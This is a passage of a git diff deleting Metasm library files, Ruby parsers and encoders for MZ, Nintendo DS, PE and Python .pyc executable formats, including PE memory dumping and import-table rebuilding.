@disassembler - end - - # disassembles the specified entrypoints without backtracking - # initializes the disassembler if needed - # uses get_default_entrypoints if the argument list is empty - # returns the disassembler - def disassemble_fast_deep(*entrypoints) - entrypoints = get_default_entrypoints if entrypoints.empty? - disassembler.disassemble_fast_deep(*entrypoints) - @disassembler - end - - # returns a list of entrypoints to disassemble (program entrypoint, exported functions...) - def get_default_entrypoints - [] - end - - # encodes the executable as a string, checks that all relocations are - # resolved, and returns the raw string version - def encode_string(*a) - encode(*a) - raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty? - @encoded.data - end - - # saves the result of +encode_string+ in the specified file - # overwrites existing files - def encode_file(path, *a) - encode_string(*a) - File.open(path, 'wb') { |fd| fd.write(@encoded.data) } - end - - # returns the address at which a given file offset would be mapped - def addr_to_fileoff(addr) - addr - end - - # returns the file offset where a mapped byte comes from - def fileoff_to_addr(foff) - foff - end - - def shortname; self.class.name.split('::').last.downcase; end - -module IntToHash - # converts a constant name to its numeric value using the hash - # {1 => 'toto', 2 => 'tata'}: 'toto' => 1, 42 => 42, 'tutu' => raise - def int_from_hash(val, hash) - val.kind_of?(Integer) ? hash.index(val) || val : hash.index(val) or raise "unknown constant #{val.inspect}" - end - - # converts an array of flag constants to its numeric value using the hash - # {1 => 'toto', 2 => 'tata'}: ['toto', 'tata'] => 3, 'toto' => 2, 42 => 42 - def bits_from_hash(val, hash) - val.kind_of?(Array) ? val.inject(0) { |val_, bitname| val_ | int_from_hash(bitname, hash) } : int_from_hash(val, hash) - end - - # converts a numeric value to the corresponding constant name using the hash - # {1 => 'toto', 2 => 'tata'}: 1 => 'toto', 42 => 42, 'tata' => 'tata', 'tutu' => raise - def int_to_hash(val, hash) - val.kind_of?(Integer) ? hash.fetch(val, val) : (hash.index(val) ? val : raise("unknown constant #{val.inspect}")) - end - - # converts a numeric value to the corresponding array of constant flag names using the hash - # {1 => 'toto', 2 => 'tata'}: 5 => ['toto', 4] - def bits_to_hash(val, hash) - (val.kind_of?(Integer) ? (hash.find_all { |k, v| val & k == k and val &= ~k }.map { |k, v| v } << val) : val.kind_of?(Array) ? val.map { |e| int_to_hash(e, hash) } : [int_to_hash(val, hash)]) - [0] - end -end - include IntToHash -end - -class SerialStruct - include ExeFormat::IntToHash -end -end diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb deleted file mode 100644 index 5097be9123..0000000000 --- a/lib/metasm/metasm/exe_format/mz.rb +++ /dev/null @@ -1,165 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class MZ < ExeFormat - MAGIC = 'MZ' # 0x4d5a - class Header < SerialStruct - mem :magic, 2, MAGIC - words :cblp, :cp, :crlc, :cparhdr, :minalloc, :maxalloc, :ss, :sp, :csum, :ip, :cs, :lfarlc, :ovno - mem :unk, 4 - - def encode(mz, relocs) - h = EncodedData.new - set_default_values mz, h, relocs - h << super(mz) - end - - def set_default_values(mz, h=nil, relocs=nil) - return if not h - @cblp ||= Expression[[mz.label_at(mz.body, mz.body.virtsize), :-, mz.label_at(h, 0)], :%, 512] # number of bytes used in last page - @cp ||= Expression[[mz.label_at(mz.body, mz.body.virtsize), :-, mz.label_at(h, 0)], :/, 512] # number of pages used - @crlc ||= relocs.virtsize/4 - @cparhdr ||= Expression[[mz.label_at(relocs, 0), :-, mz.label_at(h, 0)], :/, 16] # header size in paragraphs (16o) - @minalloc ||= ((mz.body.virtsize - mz.body.rawsize) + 15) / 16 - @maxalloc ||= @minalloc - @sp ||= 0 # ss:sp points at 1st byte of body => works if body does not reach end of segment (or maybe the overflow make the stack go to header space) - @lfarlc ||= Expression[mz.label_at(relocs, 0), :-, mz.label_at(h, 0)] - - super(mz) - end - - def decode(mz) - super(mz) - raise InvalidExeFormat, "Invalid MZ signature #{h.magic.inspect}" if @magic != MAGIC - end - end - - class Relocation < SerialStruct - words :offset, :segment - end - - - # encodes a word in 16 bits - def encode_word(val) Expression[val].encode(:u16, @endianness) end - # decodes a 16bits word from self.encoded - def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def sizeof_word ; 2 ; end - - - attr_accessor :endianness, :header, :source - # the EncodedData representing the content of the file - attr_accessor :body - # an array of Relocations - quite obscure - attr_accessor :relocs - - def initialize(cpu=nil) - @endianness = cpu ? cpu.endianness : :little - @relocs = [] - @header = Header.new - @body = EncodedData.new - @source = [] - super(cpu) - end - - # assembles the source in the body, clears the source - def assemble(*a) - parse(*a) if not a.empty? - @body << assemble_sequence(@source, @cpu) - @body.fixup @body.binding - # XXX should create @relocs here - @source.clear - end - - # sets up @cursource - def parse_init - @cursource = @source - super() - end - - # encodes the header and the relocation table, return them in an array, with the body. - def pre_encode - relocs = @relocs.inject(EncodedData.new) { |edata, r| edata << r.encode(self) } - header = @header.encode self, relocs - [header, relocs, @body] - end - - # defines the exe-specific parser instructions: - # .entrypoint [<label>]: defines the program entrypoint to label (or create a new label at this location) - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr, 'syntax error' if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.ip = Expression[entrypoint, :-, label_at(@body, 0, 'body')] - @lexer.skip_space - raise instr, 'eol expected' if t = @lexer.nexttok and t.type != :eol - end - end - - - # concats the header, relocation table and body - def encode - pre_encode.inject(@encoded) { |edata, pe| edata << pe } - @encoded.fixup @encoded.binding - encode_fix_checksum - end - - # sets the file checksum (untested) - def encode_fix_checksum - @encoded.ptr = 0 - decode_header - mzlen = @header.cp * 512 + @header.cblp - @encoded.ptr = 0 - csum = -@header.csum - (mzlen/2).times { csum += decode_word } - csum &= 0xffff - @header.csum = csum - hdr = @header.encode(self, nil) - @encoded[0, hdr.length] = hdr - end - - # decodes the MZ header from the current offset in self.encoded - def decode_header - @header.decode self - end - - # decodes the relocation table - def decode_relocs - @relocs.clear - @encoded.ptr = @header.lfarlc - @header.crlc.times { @relocs << Relocation.decode(self) } - end - - # decodes the main part of the program - # mostly defines the 'start' export, to point to the MZ entrypoint - def decode_body - @body = @encoded[@header.cparhdr*16...@header.cp*512+@header.cblp] - @body.virtsize += @header.minalloc * 16 - @body.add_export 'start', @header.cs * 16 + @header.ip - end - - def decode - decode_header - decode_relocs - decode_body - end - - def each_section - yield @body, 0 - end -end -end diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb deleted file mode 100644 index c0519287fa..0000000000 --- a/lib/metasm/metasm/exe_format/nds.rb +++ /dev/null @@ -1,175 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - - -module Metasm -# Nintendo DS executable file format -class NDS < ExeFormat - class Header < SerialStruct - str :title, 12 - str :code, 4 - str :maker, 2 - bytes :unitcode, :encryptionselect, :devicetype - mem :reserved1, 9 - bytes :version, :autostart - words :arm9off, :arm9entry, :arm9addr, :arm9sz - words :arm7off, :arm7entry, :arm7addr, :arm7sz - words :fnameoff, :fnamesz, :fatoff, :fatsz - words :arm9oloff, :arm9olsz, :arm7oloff, :arm7olsz - words :romctrl1, :romtcrl2, :iconoff - half :secureCRC - half :romctrl3 - words :a9autoloadlist, :a7autoloadlist - mem :secareadisable, 8 - words :endoff, :headersz - mem :reserved4, 56 - mem :ninlogo, 156 - half :logoCRC, 0xcf56 - half :headerCRC - end - - class Icon < SerialStruct - halfs :version, :crc - mem :reserved, 0x1c - mem :bitmap, 0x200 # 32x32, 4x4 tiles, each 4x8 bytes, 4bit depth - mem :palette, 0x20 # 16 colocs 16bits 0..0x7fff, 0 transparent (ignored) - mem :title_jap, 0x100 # 16bit unicode - mem :title_eng, 0x100 - mem :title_fre, 0x100 - mem :title_ger, 0x100 - mem :title_ita, 0x100 - mem :title_spa, 0x100 - mem :unused, 0x1c0 - - attr_accessor :title_jap_short, :title_eng_short, :title_fre_short, :title_ger_short, :title_ita_short, :title_spa_short - - def decode(exe) - super(exe) - - %w[jap eng fre ger ita spa].each { |lang| - str = instance_variable_get("@title_#{lang}") - uchrs = str.unpack('v*') - str = str[0, uchrs.index(?\0).to_i*2] - instance_variable_set("@title_#{lang}", str) - str = str.unpack('v*').pack('C*') - instance_variable_set("@title_#{lang}_short", str) - } - end - end - - def encode_byte(val) Expression[val].encode(:u8, @endianness) end - def encode_half(val) Expression[val].encode(:u16, @endianness) end - def encode_word(val) Expression[val].encode(:u32, @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - - - attr_accessor :header, :icon, :arm9, :arm7 - attr_accessor :files, :fat - - def initialize(cpu=nil) - @endianness = (cpu ? cpu.endianness : :little) - super(cpu) - end - - # decodes the header from the current offset in self.encoded - def decode_header - @header = Header.decode(self) - end - - def decode_icon - @encoded.ptr = @header.iconoff - @icon = Icon.decode(self) - end - - def decode - decode_header - decode_icon - @arm9 = @encoded[@header.arm9off, @header.arm9sz] - @arm7 = @encoded[@header.arm7off, @header.arm7sz] - @arm9.add_export('entrypoint', @header.arm9entry - @header.arm9addr) - @arm7.add_export('entrypoint_arm7', @header.arm7entry - @header.arm7addr) - end - - def decode_fat - # decode the files section - # it is just the tree structure of a file hierarchy - # no indication whatsoever on where to find individual file content - f = @encoded[@fnameoff, @fnamesz] - f.ptr = 0 - idx = [] - # 1st word = size of index subsection - idxsz = decode_word(f) - f.ptr = 0 - # index seems to be an array of word, half, half (offset of name, index of name of first file, index of name of first subdir) - (idxsz/8).times { idx << [decode_word(f), decode_half(f), decode_half(f)] } - # follows a serie of filenames : 1-byte length, name - # if length has high bit set, name is a directory, content = index[half following the name] - dat = [] - idx.each { |off, idf, idd| - f.ptr = off - dat << [] - while (l = decode_byte(f)) > 0 - name = f.read(l&0x7f) - if l & 0x80 > 0 - i = decode_half(f) - dat.last << { name => i.to_s(16) } - else - dat.last << name - end - end - } - - # build the tree from the serialized data - # directory = array of [hash (subdirname => directory) or string (filename)] - tree = dat.map { |dt| dt.map { |d| d.dup } } - tree.each { |br| - br.grep(Hash).each { |b| - b.each { |k, v| b[k] = tree[v.to_i(16) & 0xfff] } - } - } - tree = tree.first - - # flatten the tree to a list of fullpath - iter = lambda { |ar, cur| - ret = [] - ar.each { |elem| - case elem - when Hash; ret.concat iter[elem.values.first, cur + elem.keys.first + '/'] - else ret << (cur + elem) - end - } - ret - } - - @files = tree #iter[tree, '/'] - - encoded.ptr = @fatoff - @fat = encoded.read(@fatsz) - end - - def cpu_from_headers - ARM.new - end - - def each_section - yield @arm9, @header.arm9addr - yield @arm7, @header.arm7addr - end - - def get_default_entrypoints - [@header.arm9entry, @header.arm7entry] - end -end -end diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb deleted file mode 100644 index 9f8e7d6181..0000000000 --- a/lib/metasm/metasm/exe_format/pe.rb +++ /dev/null @@ -1,473 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/exe_format/mz' -require 'metasm/exe_format/coff' - -module Metasm -class PE < COFF - MAGIC = "PE\0\0" # 0x50450000 - - attr_accessor :coff_offset, :signature, :mz - - def initialize(*a) - super(*a) - cpu = a.grep(CPU).first - @mz = MZ.new(cpu).share_namespace(self) - end - - # overrides COFF#decode_header - # simply sets the offset to the PE pointer before decoding the COFF header - # also checks the PE signature - def decode_header - @cursection ||= self - @encoded.ptr = 0x3c - @encoded.ptr = decode_word(@encoded) - @signature = @encoded.read(4) - raise InvalidExeFormat, "Invalid PE signature #{@signature.inspect}" if @signature != MAGIC - @coff_offset = @encoded.ptr - if @mz.encoded.empty? - @mz.encoded << @encoded[0, @coff_offset-4] - @mz.encoded.ptr = 0 - @mz.decode_header - end - super() - end - - # creates a default MZ file to be used in the PE header - # this one is specially crafted to fit in the 0x3c bytes before the signature - def encode_default_mz_header - # XXX use single-quoted source, to avoid ruby interpretation of \r\n - @mz.cpu = Ia32.new(386, 16) - @mz.assemble <<'EOMZSTUB' - db "Needs Win32!\r\n$" -.entrypoint - push cs - pop ds - xor dx, dx ; ds:dx = addr of $-terminated string - mov ah, 9 ; output string - int 21h - mov ax, 4c01h ; exit with code in al - int 21h -EOMZSTUB - - mzparts = @mz.pre_encode - - # put stuff before 0x3c - @mz.encoded << mzparts.shift - raise 'OH NOES !!1!!!1!' if @mz.encoded.virtsize > 0x3c # MZ header is too long, cannot happen - until mzparts.empty? - break if mzparts.first.virtsize + @mz.encoded.virtsize > 0x3c - @mz.encoded << mzparts.shift - end - - # set PE signature pointer - @mz.encoded.align 0x3c - @mz.encoded << encode_word('pesigptr') - - # put last parts of the MZ program - until mzparts.empty? - @mz.encoded << mzparts.shift - end - - # ensure the sig will be 8bytes-aligned - @mz.encoded.align 8 - - @mz.encoded.fixup 'pesigptr' => @mz.encoded.virtsize - @mz.encoded.fixup @mz.encoded.binding - @mz.encoded.fill - @mz.encode_fix_checksum - end - - # encodes the PE header before the COFF header, uses a default mz header if none defined - # the MZ header must have 0x3c pointing just past its last byte which should be 8bytes aligned - # the 2 1st bytes of the MZ header should be 'MZ' - def encode_header(*a) - encode_default_mz_header if @mz.encoded.empty? - - @encoded << @mz.encoded.dup - - # append the PE signature - @signature ||= MAGIC - @encoded << @signature - - super(*a) - end - - # a returns a new PE with only minimal information copied: - # section name/perm/addr/content - # exports - # imports (with boundimport cleared) - # resources - def mini_copy(share_ns=true) - ret = self.class.new(@cpu) - ret.share_namespace(self) if share_ns - ret.header.machine = @header.machine - ret.header.characteristics = @header.characteristics - ret.optheader.entrypoint = @optheader.entrypoint - ret.optheader.image_base = @optheader.image_base - ret.optheader.subsystem = @optheader.subsystem - ret.optheader.dll_characts = @optheader.dll_characts - @sections.each { |s| - rs = Section.new - rs.name = s.name - rs.virtaddr = s.virtaddr - rs.characteristics = s.characteristics - rs.encoded = s.encoded - ret.sections << s - } - ret.resource = resource - ret.tls = tls - if imports - ret.imports = @imports.map { |id| id.dup } - ret.imports.each { |id| - id.timestamp = id.firstforwarder = - id.ilt_p = id.libname_p = nil - } - end - ret.export = export - ret - end - - def c_set_default_entrypoint - return if @optheader.entrypoint - if @sections.find { |s| s.encoded.export['main'] } - @optheader.entrypoint = 'main' - elsif @sections.find { |s| s.encoded.export['DllEntryPoint'] } - @optheader.entrypoint = 'DllEntryPoint' - elsif @sections.find { |s| s.encoded.export['DllMain'] } - case @cpu.shortname - when 'ia32' - @optheader.entrypoint = 'DllEntryPoint' - compile_c <<EOS -enum { DLL_PROCESS_DETACH, DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_VERIFIER }; -__stdcall int DllMain(void *handle, unsigned long reason, void *reserved); -__stdcall int DllEntryPoint(void *handle, unsigned long reason, void *reserved) { - int ret = DllMain(handle, reason, reserved); - if (ret == 0 && reason == DLL_PROCESS_ATTACH) - DllMain(handle, DLL_PROCESS_DETACH, reserved); - return ret; -} -EOS - else - @optheader.entrypoint = 'DllMain' - end - elsif @sections.find { |s| s.encoded.export['WinMain'] } - case @cpu.shortname - when 'ia32' - @optheader.entrypoint = 'main' - compile_c <<EOS -#define GetCommandLine GetCommandLineA -#define GetModuleHandle GetModuleHandleA -#define GetStartupInfo GetStartupInfoA -#define STARTF_USESHOWWINDOW 0x00000001 -#define SW_SHOWDEFAULT 10 - -typedef unsigned long DWORD; -typedef unsigned short WORD; -typedef struct { - DWORD cb; char *lpReserved, *lpDesktop, *lpTitle; - DWORD dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; - WORD wShowWindow, cbReserved2; char *lpReserved2; - void *hStdInput, *hStdOutput, *hStdError; -} STARTUPINFO; - -__stdcall void *GetModuleHandleA(const char *lpModuleName); -__stdcall void GetStartupInfoA(STARTUPINFO *lpStartupInfo); -__stdcall void ExitProcess(unsigned int uExitCode); -__stdcall char *GetCommandLineA(void); -__stdcall int WinMain(void *hInstance, void *hPrevInstance, char *lpCmdLine, int nShowCmd); - -int main(void) { - STARTUPINFO startupinfo; - startupinfo.cb = sizeof(STARTUPINFO); - char *cmd = GetCommandLine(); - int ret; - - if (*cmd == '"') { - cmd++; - while (*cmd && *cmd != '"') { - if (*cmd == '\\\\') cmd++; - cmd++; - } - if (*cmd == '"') cmd++; - } else - while (*cmd && *cmd != ' ') cmd++; - while (*cmd == ' ') cmd++; - - GetStartupInfo(&startupinfo); - ret = WinMain(GetModuleHandle(0), 0, cmd, (startupinfo.dwFlags & STARTF_USESHOWWINDOW) ? (int)startupinfo.wShowWindow : (int)SW_SHOWDEFAULT); - ExitProcess((DWORD)ret); - return ret; -} -EOS - else - @optheader.entrypoint = 'WinMain' - end - end - end - - # handles writes to fs:[0] -> dasm SEH handler (first only, does not follow the chain) - # TODO seh prototype (args => context) - # TODO hook on (non)resolution of :w xref - def get_xrefs_x(dasm, di) - if @cpu.shortname =~ /^ia32|^x64/ and a = di.instruction.args.first and a.kind_of?(Ia32::ModRM) and a.seg and a.seg.val == 4 and - w = get_xrefs_rw(dasm, di).find { |type, ptr, len| type == :w and ptr.externals.include? 'segment_base_fs' } and - dasm.backtrace(Expression[w[1], :-, 'segment_base_fs'], di.address).to_a.include?(Expression[0]) - sehptr = w[1] - sz = @cpu.size/8 - sehptr = Indirection.new(Expression[Indirection.new(sehptr, sz, di.address), :+, sz], sz, di.address) - a = dasm.backtrace(sehptr, di.address, :include_start => true, :origin => di.address, :type => :x, :detached => true) - puts "backtrace seh from #{di} => #{a.map { |addr| Expression[addr] }.join(', ')}" if $VERBOSE - a.each { |aa| - next if aa == Expression::Unknown - dasm.auto_label_at(aa, 'seh', 'loc', 'sub') - dasm.addrs_todo << [aa] - } - super(dasm, di) - else - super(dasm, di) - end - end - - # returns a disassembler with a special decodedfunction for GetProcAddress (i386 only), and the default func - def init_disassembler - d = super() - d.backtrace_maxblocks_data = 4 - case @cpu.shortname - when 'ia32', 'x64' - old_cp = d.c_parser - d.c_parser = nil - d.parse_c '__stdcall void *GetProcAddress(int, char *);' - d.parse_c '__stdcall void ExitProcess(int) __attribute__((noreturn));' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' - gpa = @cpu.decode_c_function_prototype(d.c_parser, 'GetProcAddress') - epr = @cpu.decode_c_function_prototype(d.c_parser, 'ExitProcess') - d.c_parser = old_cp - d.parse_c '' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' - @getprocaddr_unknown = [] - gpa.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - break bind if @getprocaddr_unknown.include? [dasm, calladdr] or not Expression[expr].externals.include? :eax - sz = @cpu.size/8 - break bind if not dasm.decoded[calladdr] - if @cpu.shortname == 'x64' - arg2 = :rdx - else - arg2 = Indirection[[:esp, :+, 2*sz], sz, calladdr] - end - fnaddr = dasm.backtrace(arg2, calladdr, :include_start => true, :maxdepth => maxdepth) - if fnaddr.kind_of? ::Array and fnaddr.length == 1 and s = dasm.get_section_at(fnaddr.first) and fn = s[0].read(64) and i = fn.index(?\0) and i > sz # try to avoid ordinals - bind = bind.merge @cpu.register_symbols[0] => Expression[fn[0, i]] - else - @getprocaddr_unknown << [dasm, calladdr] - puts "unknown func name for getprocaddress from #{Expression[calladdr]}" if $VERBOSE - end - bind - } - d.function[Expression['GetProcAddress']] = gpa - d.function[Expression['ExitProcess']] = epr - d.function[:default] = @cpu.disassembler_default_func - end - d - end - - def module_name - export and @export.libname - end - - def module_address - @optheader.image_base - end - - def module_size - @sections.map { |s_| s_.virtaddr + s_.virtsize }.max || 0 - end - - def module_symbols - syms = [['entrypoint', @optheader.entrypoint]] - @export.exports.to_a.each { |e| - next if not e.target - name = e.name || "ord_#{e.ordinal}" - syms << [name, label_rva(e.target)] - } if export - syms - end - - # compute the pe-sha1 or pe-sha256 of the binary - # argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2) - # returns the hex checksum - def pehash(digest) - off0 = 0 - off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum) - - dir_ct_idx = DIRECTORIES.index('certificate_table') - if @optheader.numrva > dir_ct_idx - off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx - ct_size = @encoded.data[off2, 8].unpack('V*')[1] - off3 = @encoded.length - ct_size - else - off4 = @encoded.length - end - - digest << @encoded.data[off0 ... off1].to_str - digest << @encoded.data[off1+4 ... off2].to_str if off2 - digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8 - digest << @encoded.data[off1+4 ... off4].to_str if off4 - digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0 - - digest.hexdigest - end - - def self.pehash(path, digest) - decode_file_header(path).pehash(digest) - end -end - -# an instance of a PE file, loaded in memory -# just change the rva_to_off and the section content decoding methods -class LoadedPE < PE - attr_accessor :load_address - - # use the virtualaddr/virtualsize fields of the section header - def decode_section_body(s) - s.encoded = @encoded[s.virtaddr, s.virtsize] || EncodedData.new - end - - # no need to decode relocations on an already mapped image - def decode_relocs - end - - # reads a loaded PE from memory, returns a PE object - # dumps the header, optheader and all sections ; try to rebuild IAT (#memdump_imports) - def self.memdump(memory, baseaddr, entrypoint=nil, iat_p=nil) - loaded = LoadedPE.load memory[baseaddr, 0x1000_0000] - loaded.load_address = baseaddr - loaded.decode - - dump = PE.new(loaded.cpu_from_headers) - dump.share_namespace loaded - dump.optheader.image_base = baseaddr - dump.optheader.entrypoint = (entrypoint || loaded.optheader.entrypoint + baseaddr) - baseaddr - dump.directory['resource_table'] = loaded.directory['resource_table'] - - loaded.sections.each { |s| - ss = Section.new - ss.name = s.name - ss.virtaddr = s.virtaddr - ss.encoded = s.encoded - ss.characteristics = s.characteristics - dump.sections << ss - } - - loaded.memdump_imports(memory, dump, iat_p) - - dump - end - - # rebuilds an IAT from the loaded pe and the memory - # for each loaded iat, find the matching dll in memory - # for each loaded iat entry, retrieve the exported name from the loaded dll - # OR - # from a base iat address in memory (unk_iat_p, rva), retrieve the 1st dll, find - # all iat pointers/forwarders to this dll, on failure try to find another dll - # allows gaps of 5 invalid pointers between libraries - # dll found by scanning pages 16 by 16 backward from the first iat address (XXX the 1st must not be forwarded) - # TODO bound imports - def memdump_imports(memory, dump, unk_iat_p=nil) - puts 'rebuilding imports...' if $VERBOSE - if unk_iat_p - # read iat data from unk_iat_p - iat_p = unk_iat_p - else - return if not imports - # read iat data from @imports - imports = @imports.dup - imports.each { |id| id.iat = id.iat.dup } - iat_p = imports.first.iat_p # used for iat_p - end - - failcnt = 0 # bad pointers in iat table (unk_ only) - dump.imports ||= [] - loaded_dll = nil # the dll from who we're importing the current importdirectory - ptrsz = (@optheader.signature == 'PE+' ? 8 : 4) - cache = [] # optimize forwarder target search - loop do - if unk_iat_p - # read imported pointer from the table - ptr = decode_xword(EncodedData.new(memory[@load_address + iat_p, ptrsz])) - iat_p += ptrsz - else - # read imported pointer from the import structure - while not ptr = imports.first.iat.shift - imports.shift - break if imports.empty? - iat_p = imports.first.iat_p - end - break if imports.empty? - iat_p += ptrsz - end - - if not loaded_dll or not e = loaded_dll.export.exports.find { |e_| loaded_dll.label_rva(e_.target) == ptr - loaded_dll.load_address } - # points to unknown space - # find pointed module start - if not dll = cache.find { |dll_| ptr >= dll_.load_address and ptr < dll_.load_address + dll_.optheader.image_size } - addr = ptr & ~0xffff - 256.times { break if memory[addr, 2] == MZ::MAGIC or addr < 0x10000 ; addr -= 0x10000 } - if memory[addr, 2] == MZ::MAGIC - dll = LoadedPE.load memory[addr, 0x1000_0000] - dll.load_address = addr - dll.decode_header - dll.decode_exports - cache << dll - end - end - if dll and dll.export and e = dll.export.exports.find { |e_| dll.label_rva(e_.target) == ptr - dll.load_address } - if loaded_dll and ee = loaded_dll.export.exports.find { |ee_| ee_.forwarder_name == e.name } - # it's a forwarder from the current loaded_dll - puts "forwarder #{ee.name} -> #{dll.export.libname}!#{e.name}" if $DEBUG - e = ee - else - # new library, start a new importdirectory - # XXX if 1st import is forwarded, loaded_dll will points to the bad module... - loaded_dll = dll - id = ImportDirectory.new - id.libname = loaded_dll.export.libname - puts "lib #{id.libname}" if $VERBOSE - id.imports = [] - id.iat_p = iat_p - ptrsz - dump.imports << id - end - else - puts 'unknown ptr %x' % ptr if $DEBUG - # allow holes in the unk_iat_p table - break if not unk_iat_p or failcnt > 4 - loaded_dll = nil - failcnt += 1 - next - end - failcnt = 0 - end - - # dumped last importdirectory is correct, append the import field - i = ImportDirectory::Import.new - if e.name - puts e.name if $DEBUG - i.name = e.name - else - puts "##{e.ordinal}" if $DEBUG - i.ordinal = e.ordinal - end - dump.imports.last.imports << i - end - end - - def pehash(digest) - raise "cannot compute a PEhash from memory image" - end -end -end diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb deleted file mode 100644 index cad1da61bf..0000000000 --- a/lib/metasm/metasm/exe_format/pyc.rb +++ /dev/null @@ -1,167 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - - -module Metasm -# Python preparsed module (.pyc) -class PYC < ExeFormat - # 1 magic per python version... - # file = MAGIC(u16) \r \n timestamp(u32) data - MAGICS = [ - 62211 # 62211 = python2.7a0 - ] - - class Header < SerialStruct - half :version - half :rn - word :timestamp - end - - def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end - def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_long ; 4 ; end - - # file header - attr_accessor :header - # the marshalled object - attr_accessor :root - # list of all code objects - attr_accessor :all_code - - def initialize() - @endianness = :little - @encoded = EncodedData.new - super() - end - - def decode_header - @header = Header.decode(self) - end - - def decode_pymarshal - case c = @encoded.read(1) - when '0' # NULL - :null - when 'N' # None - nil - when 'F' # False - false - when 'T' # True - true - #when 'S' # stopiter TODO - #when '.' # ellipsis TODO - when 'i' # long (i32) - decode_long - when 'I' # long (i64) - decode_word | (decode_long << 32) - when 'f' # float (ascii) - @encoded.read(@encoded.read(1).unpack('C').first).to_f - when 'g' # float (binary) - @encoded.read(8).unpack('d').first # XXX check - when 'x' # complex (f f) - { :type => :complex, - :real => @encoded.read(@encoded.read(1).unpack('C').first).to_f, - :imag => @encoded.read(@encoded.read(1).unpack('C').first).to_f } - when 'y' # complex (g g) - { :type => :complex, - :real => @encoded.read(8).unpack('d').first, - :imag => @encoded.read(8).unpack('d').first } - when 'l' # long (i32?) - decode_long - when 's' # string: len (long), data - @encoded.read(decode_long) - when 't' # 'interned': string with possible backreference later - s = @encoded.read(decode_long) - @references << s - s - when 'R' # stringref (see 't') - @references[decode_long] - when '(' # tuple (frozen Array): length l*objs - obj = [] - decode_long.times { obj << decode_pymarshal } - obj - when '[' # list (Array) - obj = [] - decode_long.times { obj << decode_pymarshal } - obj - when '{' # dict (Hash) - obj = {} - loop do - k = decode_pymarshal - break if k == :null - obj[k] = decode_pymarshal - end - { :type => hash, :hash => obj } # XXX to avoid confusion with code, etc - when 'c' # code - # XXX format varies with version (header.signature) - obj = {} - obj[:type] = :code - obj[:argcount] = decode_long - #obj[:kwonly_argcount] = decode_long # not in py2.7 - obj[:nlocals] = decode_long - obj[:stacksize] = decode_long - obj[:flags] = decode_long # TODO bit-decode this one - - obj[:fileoff] = @encoded.ptr + 5 # XXX assume :code is a 's' - obj[:code] = decode_pymarshal - obj[:consts] = decode_pymarshal - obj[:names] = decode_pymarshal - obj[:varnames] = decode_pymarshal - obj[:freevars] = decode_pymarshal - obj[:cellvars] = decode_pymarshal - obj[:filename] = decode_pymarshal - obj[:name] = decode_pymarshal - obj[:firstlineno] = decode_long - obj[:lnotab] = decode_pymarshal - @all_code << obj - obj - when 'u' # unicode - @encoded.read(decode_long) - #when '?' # unknown TODO - #when '<' # set TODO - #when '>' # set (frozen) TODO - else - raise "unsupported python marshal #{c.inspect}" - end - end - - def decode - decode_header - @all_code = [] - @references = [] - @root = decode_pymarshal - @references = nil - end - - def cpu_from_headers - Python.new(self) - end - - def each_section - yield @encoded, 0 - end - - def get_default_entrypoints - if @root.kind_of? Hash and @root[:type] == :code - [@root[:fileoff]] - else - [] - end - end - - # return the :code part which contains off - def code_at_off(off) - @all_code.find { |c| c[:fileoff] <= off and c[:fileoff] + c[:code].length > off } - end -end -end diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb 